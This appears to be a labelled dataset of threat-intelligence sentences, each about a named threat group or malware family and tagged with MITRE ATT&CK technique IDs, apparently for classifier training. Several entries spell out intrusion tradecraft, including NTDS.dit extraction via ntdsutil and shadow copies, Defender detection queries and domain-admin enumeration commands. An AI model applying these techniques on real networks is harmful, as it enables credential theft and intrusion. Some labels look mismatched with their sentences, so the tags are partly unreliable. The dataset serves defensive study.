"Play has used tools such as AdFind, Nltest, and BloodHound to enumerate shares and hostnames on compromised networks.",T1018
Play has used valid domain accounts for access.,T1078.002
Rancor has used msiexec to download and execute malicious installer files over HTTP.,T1218.007
Rancor launched a scheduled task to gain persistence using the schtasks /create /sc command.,T1053.005
RedCurl has collected data about network drives.,T1039
RedCurl has collected data from the local disk of compromised hosts.,T1005
RedCurl has created its own tools to use during operations.,T1587.001
RedCurl has created scheduled tasks for persistence.,T1053.005
RedCurl has used pcalua.exe to obfuscate binary execution and remote connections.,T1202
RedCurl has used phishing emails with malicious files to gain initial access.,T1566.001
RedCurl has used phishing emails with malicious links to gain initial access.,T1566.002
RedEcho has used non-standard ports such as TCP 8080 for HTTP communication.,T1571
"Saint Bear has delivered malicious Microsoft Office files containing an embedded JavaScript object that would, on execution, download and execute OutSteel and Saint Bot.",T1059.007
Saint Bear has used the Windows Script Host (wscript) to execute intermediate files written to victim machines.,T1059
"Saint Bear initial loaders will also drop a malicious Windows batch file, available via open source GitHub repositories, that disables Microsoft Defender functionality.",T1059.003
Saint Bear relies extensively on PowerShell execution from malicious attachments and related content to retrieve and execute follow-on payloads.,T1059.001
Saint Bear relies on user interaction and execution of malicious attachments and similar for initial execution on victim systems.,T1204.002
Salt Typhoon has attempted to acquire credentials by dumping network device configurations.,T1602.002
"Sandworm Team has used `ntdsutil.exe` to back up the Active Directory database, likely for credential access.",T1003.003
Sandworm Team used information stealer malware to collect browser session cookies.,T1539
Sandworm Team used various third-party email campaign management services to deliver phishing emails.,T1583
"Scattered Spider can enumerate remote systems, such as VMware vCenter infrastructure.",T1018
Scattered Spider creates inbound rules on the compromised email accounts of security personnel to automatically delete emails from vendor security products.,T1564.008
"Scattered Spider enumerates data stored within victim code repositories, such as internal GitHub repositories.",T1213.003
Scattered Spider has created volume shadow copies of virtual domain controller disks to extract the `NTDS.dit` file.,T1006
Scattered Spider has deployed ransomware on compromised hosts and threatened to leak stolen data for financial gain.,T1657
Scattered Spider has extracted the `NTDS.dit` file by creating volume shadow copies of virtual domain controller disks.,T1003.003
"Scattered Spider has obtained malware to use at multiple stages of operations including information stealers, remote access tools, and ransomware.",T1588.001
Scattered Spider has used the PowerShell cmdlet Get-ADUser.,T1059.001
Sea Turtle created adversary-in-the-middle servers to impersonate legitimate services and enable credential capture.,T1583.003
Sea Turtle gained access to victim environments by exploiting multiple known vulnerabilities over several campaigns.,T1190
"Sea Turtle has used exploits for vulnerabilities such as CVE-2021-44228, CVE-2021-21974, and CVE-2022-0847 to achieve client code execution.",T1203
"Sea Turtle targeted third-party entities in trusted relationships with primary targets to ultimately achieve access at primary targets. Entities targeted included DNS registrars, telecommunication companies, and internet service providers.",T1199
"Several Lazarus Group malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information.",T1082
Sidewinder has named malicious files rekeywiz.exe to match the name of a legitimate Windows executable.,T1036.005
Sidewinder has used base64 encoding and ECDH-P256 encryption for payloads.,T1027.013
Star Blizzard has sent emails to establish rapport with targets eventually sending messages with attachments containing links to credential-stealing sites.,T1598.002
Star Blizzard has used open-source research to identify information about victims to use in targeting.,T1593
Storm-0501 had modified Azure Storage account resources through the `Microsoft.Storage/storageAccounts/write` operation to expose non-remotely accessible accounts for data exfiltration.,T1530
Storm-0501 has detected endpoint security solutions using `sc query sense` and `sc query windefend`.,T1518.001
"Storm-0501 has discovered the victim environment's protections to include Azure policies, resource locks, and Azure Storage immutability policies.",T1526
"Storm-0501 has encrypted files in victim environments using ransomware as a service (RaaS) including Sabbath, Hive, BlackCat, Hunters International, LockBit 3.0 and Embargo ransomware.",T1486
"Storm-0501 has engaged in double-extortion ransomware, exfiltrating data and directly contacting victims when the primary organization refuses to pay along with posting data on their data leak sites.",T1657
"Storm-0501 has enumerated compromised cloud environments to identify critical assets, data stores, and back resources.",T1580
"Storm-0501 has identified system language codes on a compromised host to determine if the victim falls under a non-supported language code that is prohibited for targeting, including victims associated with Russia and other Commonwealth of Independent States (CIS) that may draw attention of law enforcement in countries where the ransomware operator or affiliates may reside/operate from.",T1614.001
Storm-0501 has launched Cobalt Strike Beacon files with rundll32.exe.,T1218.011
"Storm-0501 has registered their own MFA method, and leveraged a victim hybrid joined server to circumvent Conditional Access Policies.",T1556.009
Storm-0501 has utilized Azure Key Vault to store the encryption key using the operation `Microsoft.KeyVault/Vaults/write`.,T1555.006
Storm-1811 has distributed password-protected archives such as ZIP files during intrusions.,T1140
Storm-1811 has enumerated domain accounts and access during intrusions.,T1482
Storm-1811 has exfiltrated captured user credentials via Secure Copy Protocol (SCP).,T1048.002
Storm-1811 has locally staged captured credentials for subsequent manual exfiltration.,T1074.001
"TA2541 has uploaded malware to various platforms including Google Drive, Pastetext, Sharetext, and GitHub.",T1608.001
TA2541 has used PowerShell to download files and to inject into various Windows processes.,T1059.001
TA2541 has used dynamic DNS services for C2 infrastructure.,T1568
TA2541 has used process hollowing to execute CyberGate malware.,T1055.012
TA505 has executed commands using cmd.exe.,T1059.003
TA505 has leveraged rundll32.exe to execute malicious DLLs.,T1218.011
TA505 has used malware to disable Windows Defender.,T1685
TA578 has filled out contact forms on victims' websites to direct them to adversary-controlled URLs.,T1594
TeamTNT has the curl and wget commands as well as batch scripts to download new tools.,T1105
Threat Group-1314 actors mapped network drives using net use.,T1021.002
Threat Group-3390 has used appcmd.exe to disable logging on a victim server.,T1685.001
Threat Group-3390's malware can add a Registry key to `Software\Microsoft\Windows\CurrentVersion\Run` for persistence.,T1547.001
"ToddyCat has collected information on bootable drives including model, vendor, and serial numbers.",T1680
ToddyCat has used locally mounted network shares for lateral movement through targated environments.,T1021.002
ToddyCat has used the name `debug.exe` for malware components.,T1036.005
ToddyCat manually transferred collected files to an exfiltration host using xcopy.,T1074.002
Tropic Trooper has been known to side-load DLLs using a valid version of a Windows Address Book and Windows Defender executable with one of their tools.,T1574.001
"Turla has used net localgroup and net localgroup Administrators to enumerate group information, including members of the local administrators group.",T1069.001
"Turla surveys a system upon check-in to discover active local network connections using the netstat -an, net use, net file, and net session commands. Turla RPC backdoors have also enumerated the IPv4 TCP connection table via the GetTcpTable2 API call.",T1049
UNC3886 exploited CVE-2022-22948 in VMware vCenter to obtain encrypted credentials from the vCenter postgresDB.,T1212
UNC3886 has exploited CVE-2022-42475 in FortiOS SSL VPNs to obtain access.,T1190
UNC3886 has harvested and used vCenter Server service accounts.,T1078.001
UNC3886 has replaced indicators mentioned in open-source threat intelligence publications at times under a week after their release.,T1681
UNC3886 has run scripts to list all running processes on a guest VM from an ESXi host.,T1057
UNC3886 has tampered with and disabled logging services on targeted systems.,T1690
UNC3886 has targeted KeyPass password database files for credential access.,T1555.005
UNC3886 has used Gzip and the Windows command `makecab` to compress files and stolen credentials from victim systems.,T1560.001
UNC3886 has used `vmtoolsd.exe` to enumerate files on guest machines.,T1083
UNC3886 has used the TABLEFLIP traffic redirection utility and the esxcli command line to modify firewall rules.,T1686
UNC3886 has used tools to hijack valid SSH accounts.,T1078
UNC3886 has utilzed Python scripts to transfer files between ESXi hosts and guest VMs.,T1570
VOID MANTICORE has conducted brute-force attempts against organizational VPN infrastructure.,T1110
VOID MANTICORE has delivered malicious payloads that initiate through user execution to include interaction with a masqueraded file. VOID MANTICORE has used trojanized application lures to induce targets into executing malware enabling persistent surveillance.,T1204.002
VOID MANTICORE has deployed additional payloads from dedicated C2 servers. VOID MANTICORE has also downloaded legitimate tools and software from publicly available services. VOID MANTICORE had utilized VeraCrypt a legitimate disk encrypting utility that was downloaded directly from the website.,T1105
VOID MANTICORE has leveraged privileged cloud accounts to access cloud-based management consoles to include Microsoft Intune. VOID MANTICORE has also compromised existing accounts within the Microsoft Entra ID environment.,T1078.004
VOID MANTICORE has masqueraded as commonly used programs and services on Windows hosts.,T1036.004
VOID MANTICORE has staged compressed files in specified locations prior to exfiltration over C2.,T1074
VOID MANTICORE has utilized HTTPS for communication to C2 domains.,T1071.001
VOID MANTICORE has utilized PowerShell to execute malware in victim environments.,T1059.001
VOID MANTICORE has utilized Telegram API for C2.,T1102
Velvet Ant has transferred tools within victim environments using SMB.,T1021.002
Velvet Ant has used a reverse SSH shell to securely communicate with victim devices.,T1573.002
Velvet Ant has used malicious DLLs executed via legitimate EXE files through DLL search order hijacking to launch follow-on payloads such as PlugX.,T1574.001
Velvet Ant has used reverse SSH tunnels to communicate to victim devices.,T1071
"Velvet Ant used a custom tool, VELVETSTING, to parse encoded inbound commands to compromised F5 BIG-IP devices and then execute them via the Unix shell.",T1059.004
"Velvet Ant used a malicious DLL, `iviewers.dll`, that mimics the legitimate ""OLE/COM Object Viewer"" within Windows.",T1036.005
Volt Typhoon has appended copies of the ntds.dit database with a .gif file extension.,T1036.008
Volt Typhoon has attempted to access hashed credentials from the LSASS process memory space.,T1003.001
Volt Typhoon has compromised Virtual Private Servers (VPS) to proxy C2 traffic.,T1584.003
"Volt Typhoon has compromised small office and home office (SOHO) network edge devices, many of which were located in the same geographic area as the victim, to proxy network traffic.",T1584.008
Volt Typhoon has conducted extensive reconnaissance of victim networks including identifying network topologies.,T1590.004
Volt Typhoon has conducted pre-compromise reconnaissance for victim host information.,T1592
Volt Typhoon has copied web shells between servers in targeted environments.,T1570
Volt Typhoon has employed Ping to check network connectivity.,T1016.001
Volt Typhoon has enumerated directories containing vulnerability testing and cyber related content and facilities data such as construction drawings.,T1083
Volt Typhoon has inspected server logs to remove their IPs.,T1070.007
"Volt Typhoon has leveraged WMIC for execution, remote system discovery, and to create and use temporary directories.",T1047
"Volt Typhoon has run `net group /dom` and `net group ""Domain Admins"" /dom` in compromised environments for account discovery.",T1087.002
Volt Typhoon has run `net group` in compromised environments to discover domain groups.,T1069.002
"Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of intrusion activity.",T1685.005
"Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for group and user discovery.",T1069
"Volt Typhoon has used compromised devices and customized versions of open source tools such as FRP (Fast Reverse Proxy), Earthworm, and Impacket to proxy network traffic.",T1090
Volt Typhoon has used multi-hop proxies for command-and-control infrastructure.,T1090.003
Winter Vivern delivered malicious JavaScript to exploit targets when exploiting Roundcube Webmail servers.,T1059.007
Winter Vivern has distributed malicious scripts and executables mimicking virus scanners.,T1036.004
Winter Vivern has used remotely-hosted instances of the Acunetix vulnerability scanner.,T1595.002
Winter Vivern leverages malicious attachments delivered via email for initial access activity.,T1566.001
Winter Vivern registered domains mimicking other entities throughout various campaigns.,T1583.001
Winter Vivern used XLM 4.0 macros for initial code execution for malicious document files.,T1059
Wizard Spider can transfer malicious payloads such as ransomware to compromised machines.,T1105
Wizard Spider has created local administrator accounts to maintain persistence in compromised networks.,T1136.001
"Wizard Spider has identified domain admins through the use of `net group ""Domain admins"" /DOMAIN`. Wizard Spider has also leveraged the PowerShell cmdlet `Get-ADComputer` to collect account names from Active Directory data.",T1087.002
Wizard Spider has leveraged ProtonMail email addresses in ransom notes when delivering Ryuk ransomware.,T1585.002
Wizard Spider has used RDP for lateral movement and to deploy ransomware interactively.,T1021.001
"Wizard Spider has used Systeminfo and similar commands to acquire detailed configuration information of a victim's machine. Wizard Spider has also utilized the PowerShell cmdlet `Get-ADComputer` to collect DNS hostnames, last logon dates, and operating system information from Active Directory.",T1082
Wizard Spider has used WMIC and vssadmin to manually delete volume shadow copies. Wizard Spider has also used Conti ransomware to delete volume shadow copies automatically with the use of vssadmin.,T1490
Wizard Spider has used process injection to execute payloads to escalate privileges.,T1055
ZIRCONIUM has compromised network devices such as small office and home office (SOHO) routers and IoT devices for ORB (operational relay box) Proxy networks.,T1584.008
ZIRCONIUM has created a run key named Dropbox Update Setup to mask a persistence mechanism for a malicious binary.,T1036.004
"ZIRCONIUM has utilized an ORB (operational relay box) network - consisting compromised devices such as small office and home office (SOHO) routers, IoT devices, and leased virtual private servers (VPS) - to obfuscate the origin of C2 traffic.",T1665
admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to display network connections: netstat -ano >> %temp%\download,T1049
menuPass has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as UPPERCUT. menuPass has also used DLL search order hijacking.,T1574.001
"Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands",T1056.001 | T1113
"Spam seems to be the sole distribution method for Grandoreiro. The spam emails appear to contain a link pointing to a website offering fake Flash or Java updates (see Figure 5). Notice the red arrow in lower left corner tailored for the Google Chrome web browser, but displayed in other browsers too. We have seen Grandoreiro abusing the fear around COVID-19 as well (see Figure 6), as we already announced on our @ESETresearch Twitter account",T1036.005
"""Asterisk (*): Use the asterisk as a substitute for any string of characters, for example: dir *.txt lists all files in the current directory with extensions that begin with .txt, such as .txt, .txt1, .txt_old. dir read*.txt lists all files in the current directory that begin with """"read"""" and with extensions that begin with .txt, such as .txt, .txt1, or .txt_old. However, typing dir t97* returns both files, because the asterisk wildcard matches the file t.txt2 to t97.txt by using its short name map T97B4~1.TXT. dir *.txt lists all files in the current directory with extensions that begin with .txt, such as .txt, .txt1, .txt_old. dir read*.txt lists all files in the current directory that begin with """"read"""" and with extensions that begin with .txt, such as .txt, .txt1, or .txt_old. For example, if you use /o with the e and -s values for SortOrder (by using either /o:e-s or /oe-s), dir sorts the names of directories and files by extension, with the largest first, and then displays the final result. The alphabetic sorting by extension causes file names with no extensions to appear first, then directory names, and then file names with extensions. Using redirection symbols and pipes When you use the redirection symbol (>) to send dir output to a file or a pipe (||) to send dir output to another command, use /a:-d and /b to list the file names only. You can use FileName with /b and /s to specify that dir is to search the current directory and its subdirectories for all file names that match FileName. Dir lists only the drive letter, directory name, file name, and file name extension (one path per line), for each file name it finds""",T1083
"To gain initial access a target network, GALLIUM locates and exploits internet-facing services such as web servers. GALLIUM has been observed exploiting unpatched web services, such as WildFly/JBoss, for which exploits are widely available. Compromising a web server gives GALLIUM a foothold in the victim network that doesn’t require user interaction, such as traditional delivery methods like phishing",T1136.002 | T1190
"One of the documents spreads what analysts are calling SQLRat, previously unseen malware that drops files and executes SQL scripts on the host system. The use of SQL scripts is ingenious in that they don’t leave artifacts behind the way traditional malware does. This technique has not been observed in previous campaigns associated with FIN7",T1059.007 | T1059.005 | T1059 | T1059.003
"One such group is the infamous FIN7 known for its APT attacks on various organisations around the globe. Recently they developed Lizar (formerly known as Tirion), a toolkit for reconnaissance and getting a foothold inside infected systems. Disguised as a legitimate cybersecurity company, the group distributes Lizar as a pentesting tool for Windows networks",T1106
"Once Torisma is decoded from Base64 the implant is further encrypted using an AES key and compressed. The server-side ASP page does not contain any logic to decrypt the Torisma implant itself, rather it relies on decryption logic contained within the first stage implant",T1140
"""Then extract resource named as """"_7z"""", and decompress it with lzma.dll to get the Imminent Monitor RAT (MD5: 4fd291e3319eb3433d91ee24cc39102e""",T1140
"The ‘md5_key’ argument in the function above is the MD5 hash of the previously defined ‘H7sVBirLvGwVfLSLSeI2’ string that was contained within Cardinal RAT’s embedded configuration. Now that we know how to decrypt the data, we can look at the previously shown PCAP data and determine what is being sent. The first message decrypts to the following",T1140
"Table 1 shows an overview of the compromised websites used as watering holes, infected JavaScript URLs, and SMB URLs used to collect NTLM hashes",T1059.007
"On the other hand, attackers can choose off-the-shelf tools such as the ones described, which can serve their purposes equally well if they are disguised. We choose to cover these campaigns to showcase the breadth of TTPs required for successful targeted attacks, ranging from proper reconnaissance all the way to delivery of the final payload through several intermediate infection stages. The TTPs we observed over the past two months are consistent with the previous activity of the so-called Cobalt Group. However, we have found some payloads that contain a message for researchers stating that the attackers are not the Cobalt group, which may indicate that the attacks are conducted by different actors despite the commonalities in TTPs",T1070.004
"While analysis of watchcat is still ongoing and we have yet to see an in-the-wild infection, it's clear that the rapid iteration of all these various Lazarus-related malware samples shows the actor is heavily invested in the macOS platform",T1033
Sibot reaches out to a legitimate but compromised website to download a DLL to a folder under System32. The scheduled task calls an MSHTA application to run Sibot via the obfuscated script. The compromised website used to host the DLL is different for every compromised network and includes websites of medical device manufacturers and IT service providers,T1027
"The droppers contain a variety of executables, all of these intended for spying on the victim. Below is an incomplete functionality list for the various Dtrack payload executables found",T1057
The C2 channel uses HTTPS thanks to the INTERNET_FLAG_SECURE flag used when calling the HttpOpenRequestA function. The beacon HTTP request will look like the following,T1071.001
"In a multiple server configuration, where the servers are configured in a Database Availability Group (DAG), Volexity has proven an attacker does not need to acquire a user’s domain SID to access their mailbox. The only information required is the e-mail address of the user they wish to target",T1589.002
"In two recent campaigns, the attackers used newly created Blogspot domains as the initial landing page, which then redirected targets to credential phishing pages. All known attacker-controlled Blogspot domains have been taken down",T1583.006
"When calling the APIs, the main executable will drop the component file %User Temp%/ns{5 random characters}.tmp/System.dll. The main executable will then load the dynamic-link library (DLL) file, which has the export function “Call” used to call for the APIs",T1129
"tmp’ file is then copied to a filename of ‘Applet.cpl’, which is placed in the previously identified file path. The malware proceeds to identify the file path of either the common startup folder, or the user’s startup folder depending on if the SeDebugPrivilege privilege was obtained. In the event this privilege was obtained, the common startup folder is queried by reading the following registry key",T1547.009 | T1547.001
"Developed in Python: Xbash was developed using Python and then converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Targets IP addresses and Domain Names: Modern Linux malware such as Mirai or Gafgyt usually generate random IP addresses as scanning destinations. By contrast, Xbash fetches from its C2 servers both IP addresses and domain names for service probing and exploiting. Targets Windows and Linux: When exploiting vulnerable Redis service, Xbash will also figure out whether the service is running on Windows or not. Intranet Scanning Functionality: The Xbash authors have developed the new capability of scanning for vulnerable servers within enterprise intranet",T1016
"The other method used to execute the second stage in the victim’s system is DLL Hijacking. In this campaign, we have seen vmnat.exe, the legitimate VMware NAT service executable, abused for loading the malicious payload, although the group can use a number of legit executables in their attacks",T1204.001 | T1204.001 | T1140
"The Kazuar Trojan initially relies on its command and control channel to allow actors to interact with the compromised system and to exfiltrate data. Kazuar has the capabilities to use multiple protocols, such as HTTP, HTTPS, FTP or FTPS, determined by the prefixes of the hardcoded C2 URLs. So far, we have only observed HTTP used as the C2 protocol in our sample set. All of the known Kazuar C2 servers appear to be compromised WordPress blogs, suggesting that the threat group using Kazuar in attacks also locates and exploits vulnerable WordPress sites as part of their playbook",T1008 | T1071.002 | T1102.002 | T1071.001
"These 2 techniques have also been previously used by this actor. Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by explorer.exe if the COM Object hijack is performed. In this case, explorer.exe will instance the MMDeviceEnumerator class and will execute the payload",T1027 | T1546.015
"""It collects open ports on the victim host by running the netstat command - It lists all the running processes - It lists available services on the system - It exfiltrates .ppt and .pptx file, in addition to the extension mentioned in the G1 variant - If a USB key is connected on the system, the malware steals the file based on an extension list - It supports file encryption (AES with the key """"lolomycin2017"""") - It collects information on the account (account type, description, domain name, full name, SID and status) - It checks if the system is a virtual machine with several techniques""",T1057 | T1027 | T1016 | T1033 | T1025
"As discussed in Part 1, QakBot is an eCrime banking trojan that has the potential to severely impact an organization’s ability to operate. QakBot has the ability to spread laterally throughout a network utilizing a worm-like functionality through brute forcing network shares, brute forcing Active Directory user group accounts or via server message block (SMB) exploitation",T1110 | T1204.002 | T1210
"In addition to the numerous targeted attacks, Unit 42 discovered that the group also performed a litany of attacks and operations around the globe, involving both criminal as well as targeted attacks. Starting in February 2018, Palo Alto Networks Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom, Spain, Russia, and the United States. Additionally, during that time, members of Gorgon Group were also performing criminal operations against targets across the globe, often using shared infrastructure with their targeted attack operations. Also, interestingly, Gorgon Group has a diverse and active criminal element. RATs such as NjRat and infostealers like Lokibot were leveraging the same C2 infrastructure as that of the targeted attacks. Using numerous decoy documents and phishing emails, both styles of attacks lacked overall sophistication, but the effectiveness of this group and campaign cannot be denied",T1588.002
"""File collection: Collect document files with the suffixes """".txt"""", """".doc"""" and """".xls"""" in the network sharing directory""",T1083
"In August 2018, Sednit’s operators deployed two new Zebrocy components, and since then we have seen an uptick in Zebrocy deployments. Zebrocy is a set of downloaders, droppers and backdoors; while downloaders and droppers are doing reconnaissance, backdoors implement persistence and spying activities against the target. These new components use a an unusual way to exfiltrate gathered information by using protocols related to mail services such as SMTP and POP3",T1071.003
"Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. Agent.btz file is not packed. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\winview.ocx.This file is also encrypted with the same XOR mask. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.Files thumb.dd and mssysmgr.ocxAgent.btz is capable to create a binary file thumb.dd on a newly connected drive. Posted by Sergei Shevchenko at Labels: Agent.btz Newer Post Older Post Home",T1105
The VBS code in this file (Figure 10) has the ability to recreate the whole chain and download the same ZIP archive,T1140 | T1105 | T1102.003
"TrickBot, Anchor, and Anchor_DNS typically use a separate C2 infrastructure. However, in some instances of this attack, there was C2 server overlap between these infrastructures. For example, the IP 23.95.97[.]59, which is hardcoded in an Anchor sample, has also served Anchor_DNS and TrickBot",T1095 | T1071.001
"Then, it downloads an additional file disguised as a JPG extension from the discord link. The downloaded file is reversed and takes the form of PE, and executes “Ylfwdwgmpilzyaph” method in the file in the memory",T1140 | T1036
"The malware has been known to proliferate through network shares, removable drives, or software vulnerabilities. The recent instances we have observed were spread through emails with malicious links. Clicking the link leads to the download of a zip containing a VBS file (detected as Trojan.VBS.QAKBOT.SM) that then downloads a malicious executable file (detected by Trend Micro as Backdoor.Win32.QBOT.SMTH",T1204.001 | T1204.002 | T1566.002 | T1566.001
"We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. The spear phishing emails and attached malicious macro documents typically have geopolitical themes",T1566.001
"EKANS, which was first observed in January 2020, has relatively basic ransomware behavior, as it primarily seeks to encrypt your files and display a ransom note when finished. Although EKANS is basic in terms of file encryption, it's worth mentioning that it does have some interesting functionalities that make it distinct from other ransomware strains. EKANS ransomware is written in Golang and includes a static “kill list” that will stop numerous antivirus and Industrial Control Systems (ICS) processes and services. After killing the processes, it then proceeds to delete shadow copies to disable any restoration capabilities. Like many ransomware malware families, EKANS attempts to also encrypt resources connected to the victim’s machine via the network",T1490
One of the first modifications we witnessed in this new variant of BADNEWS is a new mutex that is created to ensure a single instance of BADNEWS is running at a given moment. This malware family used the new mutex ‘com_mycompany_apps_appname_new’. This variant of BADNEWS uses different filenames compared to previous versions. The following filenames are used by BADNEWS throughout its execution,T1056.001
"The link in both emails is a Google Docs link claiming to host a PDF file with a list of employees that have been terminated, as shown in Figure 3",T1102
Of importance is the fact that Grandoreiro uses the same algorithm for decrypting its internal strings as Casbaneiro,T1140
"Another interesting piece of functionality is the ability to steal emails. These are later used by the attackers to send targeted emails to the victims, with the obtained information being used to lure victims into opening those emails",T1005 | T1114.001
The PowerDuke backdoor boasts a pretty extensive list of features that allow the Dukes to examine and control a system. Volexity suspects the feature set that has been built into PowerDuke is an extension of their anti-VM capabilities in the initial dropper files. Several commands supported by PowerDuke facilitate getting information about the system,T1057 | T1082 | T1083
"We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. The spear phishing emails and attached malicious macro documents typically have geopolitical themes. When successfully executed, the malicious documents install a backdoor we track as POWERSTATS",T1036.005 | T1204.002 | T1218.003
The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command,T1012
"The file has three C2 URLs hardcoded into the file and communicates to these with HTTP POST multipart-form data boundary string. Like other HIDDEN COBRA malware, prtspool uses format strings to store data collected about the system and sends it to the C2s",T1071.001
"Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner. Rather than connecting directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address. Once complete, it establishes an HTTPS connection directly to the IP address",T1071.001
"Find out all system information, including hardware being used and the exact version of your operating system, including security patches",T1547.001
"The file “ml.dll” is a Taidoor loader. The file utilizes the export function called “MyStart” to decrypt and load “svchost.dll” (8CF683B7D181591B91E145985F32664C), which was identified as Taidoor malware. Taidoor is a traditional RAT. After the file is read into memory, the DLL uses a RC4 encryption algorithm to decrypt the contents of the file. The RC4 key used for decryption is, “ar1z7d6556sAyAXtUQc2”. After the loader has finished decrypting “svchost.dll”, the loader now has a decrypted version of Taidoor, which is a DLL. The loader then uses the API calls GetProcessHeap, GetProcAddress, and LoadLibrary to load the following DLLs, KERNEL32.dll, ADVAPI32.dll, and WS2_32.dll, which Taidoor will utilize. Next, the loader looks for the export “Start” in the Taidoor DLL and executes that function",T1140
Logging keystrokes - Capturing audio from the computer’s microphone - Capturing screenshots - Capturing geolocation data - Taking photos from the computer’s web camera - Copying files to a remote server - Copying files to a special USB device if inserted - Hijjacking the clipboard and capturing information from the target machine,T1125
"This was a previously undiscovered RAT. It uses two components to avoid detection by a single component. The dropper uses an old trick in a new way: It appends the RAT to a Word document. Upon opening the document, a macro is executed that will extract the malware and execute it",T1559.002
"Netwire isn’t the only tool that uses this persistence mechanism: it has been used by Fysbis, Pupy, jRAT, and CrossRAT. In the case of Netwire, users can specify the name of the Autostart Entry and make it masquerade as something like a Linux system process if desired",T1055.012
"As shown above, some of the decoy URLs point to the domain name of the actual C2 (e.g. are known to the C2 as being decoy resources that serve no role in the regular C2 communication between GoldMax and its C2",T1573.002
"A review of samples of this phishing campaign shows that the attackers concentrated their attacks on individuals’ online accounts, especially personal emails (Gmail, Yahoo. and Outlook) and business emails (organization and university emails). After accessing the credential details of the accounts, they steal sensitive data from their victims",T1114
The iContact binary appears to be a backdoor that gathers user and locale data and engages in encrypted communications with a C2 server over TCP,T1033 | T1573
"Since 2013, just prior to Russia’s annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns against Ukrainian government officials and organizations. This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU) publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea. Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group",T1204.002 | T1083
"When we sum up the entire architecture of Guloader, we observe several stages and key features: 1) The malware initially come wrapped with a VB layer 2) After the VB part ends, the entire malware activity is executed by a shellcode. 5) The second shellcode downloads further malware",T1105
"In at least one instance of EnvyScout delivery, we observed further enumeration of the executing browser’s environment, wherein the user-agent was used to determine whether a Windows machine received an ISO payload",T1059.003
"The actor behind Bisonal is clearly motivated and has an interest in Russian, Korean and Japanese victims. The development of Bisonal has been active for more than a decade. We have observed the code evolving with the different publications but also with the evolution of Microsoft Windows. However, specific functions are still used today, many years after the original implementation of the Bional malware. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors. With this investigation and the analysis of this decade of activity, we hope to force this actor to innovate by providing a better understanding of his arsenal and more specifically how Bisonal works",T1543.003
"The file goopdate.dll has the hidden file attribute set and will not show in Windows Explorer on systems using default settings. Goopdate.dll is a highly obfuscated loader whose ultimate purpose is to load a Cobalt Strike stager into memory and then execute it. The Cobalt Strike stager will simply try to download and execute a shellcode from a remote server, in this case using the following URL",T1036.005
"The payload will then notify the C2 it has successfully downloaded and executed the secondary PowerShell payload. It does so using either the HTTPS/HTTP or DNS channels, depending on which method is successful. The payload will construct a message that has the following structure that it will then send to the C2: bye<char uuid[35]>d The message above is sent via a simple HTTPS/HTTP POST request to the C2 server. If that fails, the payload will use DNS tunneling by first issuing a DNS query to resolve the following domain to notify the C2 that the payload will send data to it in subsequent DNS queries: ns1. The executable obtains an embedded PowerShell script, decrypts it using RC4, then decompresses it using ZLIB, and saves the cleartext to C:\Users\<username>\AppData\Roaming\Out.jpg",T1071.004
"In furtherance of the APT10 Group’s intrusion campaigns, Zhu and Zhang, among other things, worked for Huaying Haitai and registered malicious domains and infrastructure",T1583.001
Svchast.exe – This is the shellcode loader binary that spoofs the name of a legitimate Windows binary called svchost.exe,T1547.001 | T1036.004
"The Docker Hub account of MegawebMaster has numerous public images, five of which have TeamTNT utilities with a significant amount of downloads. These five images include dockgeddon, docker, tornadopw, and dcounter (T1204.003",T1608.001
"While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild, that doesn't mean attackers don't try to freshen it up. Cisco Talos recently discovered several new campaigns distributing the infamous banking trojan via email. These new campaigns have been observed following a period of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Christmas in certain geographic regions. These new malicious efforts involve sending victims malicious Microsoft Word attachments with embedded macros that download Emotet. This latest strain has also gained the ability to check if the infected IP where the malicious email is being sent from is already blocklisted on a spam list. This could allow attackers to deliver more emails to users' inboxes without any pushback from spam filters",T1566.002 | T1566.001 | T1566.002
"The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family, which we analyzed in this report",T1125
